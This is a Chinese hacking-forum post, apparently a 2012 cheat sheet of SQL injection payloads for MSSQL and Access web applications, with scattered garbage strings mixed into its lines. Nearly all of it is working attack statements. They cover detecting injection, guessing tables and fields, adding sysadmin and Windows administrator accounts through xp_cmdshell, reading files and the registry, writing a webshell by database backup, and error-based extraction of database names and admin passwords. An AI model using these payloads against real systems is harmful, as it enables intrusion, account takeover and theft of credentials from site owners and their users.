找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1973|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 / P. ?- a  c( N" ^  F  U
;and 1=1
- c& ]2 t* }3 R4 {  q" S0 }' {- k$ U;and 1=2
4 E% {# ^1 O7 {5 _# e: t
' |+ e; G; e% k, U2.初步判断是否是mssql
  Y( k1 d0 }# t1 Y8 y# p9 \;and user>0
& J6 W2 Z2 x5 `) D. ~, J' m8 @8 h7 I+ Z) x/ e
3.判断数据库系统 / q0 l, `7 ^/ I  y5 A5 m! p: a
;and (select count(*) from sysobjects)>0 mssql . }$ g4 q5 c* g  \/ _
;and (select count(*) from msysobjects)>0 access - t3 C8 E0 I* @( i
0 k9 B8 c' J+ l& O; i& [2 M8 A& f. a
4.注入参数是字符 0 K+ T& _* Q- A# c0 S
'and [查询条件] and ''=' 9 B4 n, W  m4 C3 l( z" N; }1 r5 y

4 i: ?. U9 \. p4 H" U7 R5 ?0 h+ [" x5.搜索时没过滤参数的 * P  ?' ~; Z/ W$ c* {
'and [查询条件] and '%25'=' ) y) A+ p1 R3 R  P, b6 a
/ v8 V# c; |2 \" ^$ y. o- y
6.猜数表名 ) T2 ]; ?3 |" h2 ]/ u7 l) Y! q) A
;and (select Count(*) from [表名])>0
' Z, C/ H+ `( x  k. x( h& i
+ S% w" t, J; Z1 O" z7.猜字段
8 M# C; W9 G+ c/ p;and (select Count(字段名) from 表名)>0 . }1 n0 W7 q7 `7 E2 }- U6 q
: B3 q3 C8 K; G- J; Z0 A/ l
8.猜字段中记录长度 * E+ Q  M9 R  c& ~; M
;and (select top 1 len(字段名) from 表名)>0 ' l, I8 l5 i; F
$ x0 R; [. z7 f% N: H( Q% S! d9 s' a
9.(1)猜字段的ascii值(access)
( S( d6 p+ p7 v& O& q8 [5 p$ t;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 9 Y0 @" C8 O! b7 C: h
# J+ K: ~' G' j5 T
(2)猜字段的ascii值(mssql)
: B0 Z1 t. {6 s; d1 `$ }+ g;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 3 Q" I# x, N  N3 L2 x

8 v/ |' \# G) P6 d) p' ~10.测试权限结构(mssql)
" E- F( w; |( I  `9 h, p* b+ n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; M, Y7 Z" r" ]2 `6 c' X
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
7 O& ~& m. w: u6 M0 t9 k. o; W;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 _$ _5 C  |9 A7 V;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
: O% Z9 f& M! g/ ]3 u: g4 t5 t;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 g, _1 D. `. F# T7 q4 ^! g% a) `
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
7 l$ H: d0 F2 j;and 1=(select IS_MEMBER('db_owner'));--
) Y  |) p& \, K! C2 p
; n+ F1 }( E+ T$ Y. X0 z. z# k11.添加mssql和系统的帐户
$ p' c, m: x0 n6 H. _4 I;exec master.dbo.sp_addlogin username;-- , q% D- W# }2 _
;exec master.dbo.sp_password null,username,password;-- ; b, g* z  U- Z0 K  v4 h2 Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- % w& h/ I& r8 _! d4 s$ N
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 c8 _5 m2 i4 U
;exec master.dbo.xp_cmdshell 'net user username password /add';-- # X3 V/ ^1 a, h  L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
6 W7 }  `* n! d& V0 E. ]7 o7 ]
6 n2 w/ A8 \3 ?% N8 H12.(1)遍历目录 3 I5 T) u' X0 v. ^8 N4 k
;create table dirs(paths varchar(100), id int)
; {( k6 s* {5 B9 S8 E( ~  a;insert dirs exec master.dbo.xp_dirtree 'c:\'
2 W4 a  C4 n5 G$ L9 t;and (select top 1 paths from dirs)>0
8 n" \9 ^  \2 q5 w5 m;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ) Q( q. e2 k; y7 l1 k1 S: q- M
8 h- P' V+ [8 s2 ^
(2)遍历目录 $ u- T% a% |, @# F
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
+ A  J4 v. j) o, ^;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: J7 Y  S" R/ s2 x;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! X, A$ z+ L9 N1 E; W& w) v; _6 b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 t! n- ~+ U6 f/ D7 `: L. q( {
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 * U$ g, q% u5 b! L" S2 R

6 O. L6 I* k  e; w5 Z" H; P13.mssql中的存储过程 0 M6 r/ h; c2 g6 J" A) W1 V
xp_regenumvalues 注册表根键, 子键 & I6 |! o$ O/ G# \+ i  `# I
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 & @/ l3 [, v" J
xp_regread 根键,子键,键值名 ( m" Y! V" b0 O& i( H8 g. a
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : \6 n& b# J' O
xp_regwrite 根键,子键, 值名, 值类型, 值 " S, U+ W5 F0 g3 u+ u% I. k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' `& s/ j$ A/ j/ U& \- _( r- S;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 / t7 s0 K" A2 p/ L$ K  j; d) ~
xp_regdeletevalue 根键,子键,值名 5 ^* X% [; O, ~  ?# @
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
9 r# C" q2 a& t. Ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
* e2 P  z- F  J2 J/ `  z6 f
- N, i3 b0 w4 U. w' ^, Y6 j- R14.mssql的backup创建webshell 0 I( \9 d3 F3 u: @6 z( ]
use model
/ y4 ^6 K: I; T4 S4 C% h; vcreate table cmd(str image);
! D& V! K) r. t' Ginsert into cmd(str) values ('<% Dim oScript %>');
8 n- r# B" O: _; l$ A/ ybackup database model to disk='c:\l.asp'; ; r  n6 Y8 l" S: D' a

3 A8 q# l: Z8 `  ~6 \: F15.mssql内置函数   o6 y  v2 L) C
;and (select @@version)>0 获得Windows的版本号 , \. n0 o# {& [7 K
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
  M% `% y  [" R5 p$ Q! F;and (select user_name())>0 爆当前系统的连接用户 : n% v1 w) [/ n! k$ S7 F5 p  T+ C! p
;and (select db_name())>0 得到当前连接的数据库
% _: B9 o9 t, {, L/ [8 \5 i7 h" p: k& t7 |- z/ a# C# B  G2 |2 H

* t# N! j/ S; c( O8 T& _! r0 U# v2 ~& D: a/ \; |
MSSQL手注暴库% L& H7 e0 b% h
  O+ S9 e8 x; H: y2 U3 T) O" c# S; M
1.暴出当前表名和列名
- G% r; H7 O# e. U$ D在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
2 V+ K3 z' d3 S" _7 w' h6 P/ P* c$ ?( \# R# a# f
第一.爆出所有数据库名
$ @9 I' s, Y0 j/ J% H" }利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。- [7 P, L, W3 n2 ^, t
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
6 \' R$ g' w5 _* X$ B1 m2 N* c9 ~. j" Q
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名8 l0 X  r, C, Z& d0 G' M7 m. o4 k2 ]
* [; r" p- Q0 Q4 ]% g# c" k: K

# k! a0 `  G  m第二.爆出指定库中的所有表名
8 H, p' K7 g+ G" m9 K# n9 ^得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
; `9 P9 c) Y7 a: P+ P. J5 M" r再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
( n( M$ `' q: @- X
- ^" u; Y0 g/ k: aand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
1 G2 }1 y% M* H! p! oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--  K+ P* B( B; s' o" o9 ^6 j. J+ Q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--! C. l. e2 t$ {7 N
4 F# c- x  [6 G9 B  t) ~5 q
4.爆出指定表中的所有列名
$ A( K- v; E6 |) w/ Eand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% v( w! T  c* `# W, E  A: r' {//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
( k( \1 W2 S1 w6 \# o" x- ?* q4 r9 P9 i
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
& z$ e6 z' _; w. H: E; f1 h
9 k% O& K0 C; w: ~, p再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 9 C& N+ v) I+ v- T  h
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
- l2 S. I: L. t- N+ p
. d$ {0 z. y  Z* X  M  R
3 a7 F  w: {" O* _6 Iand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值3 n! S: v; i- \5 x/ d, ?

2 Q7 H2 B- v; l9 a  g' k: nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
! m. ]- e% z& F- r
; s; E( Y/ O8 zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 7 C% W- P) P7 `2 V) a- M4 h- s
1 q' e7 t" O, S# q7 h' M

# ~2 {: v' v! m& |
$ r3 S; T) ?! ?5.读取指定表中的数据
$ }& i" }4 f% D3 l
6 _! L( x+ W0 dand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 % i" V4 X$ S9 ~. w& n

& Z  N/ ?/ a& _: Y0 land 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
; ~$ w5 x6 c4 ]- y- P: |, H% g& q3 |. `# o- y& D
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
# L3 I- W& L& g: c- F$ H, c2 G
! F2 ^$ }9 p$ i) C( m4 B' m. ~1 f
' K+ N% I, Y; a* t- K3 J2 v7 Dand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)8 a6 k% |' E  X! ^! {; i' ~' j

8 M$ {' g! c1 w- Zand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang), F. b) J, E& @

! c5 k7 W9 o- I6 dand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
& m. Z1 N; C0 [3 b1 U+ X- }8 s" I# R, B, J4 `6 |( t& |
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
8 }: g" D, ~8 w: H6 ]+ M# X0 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表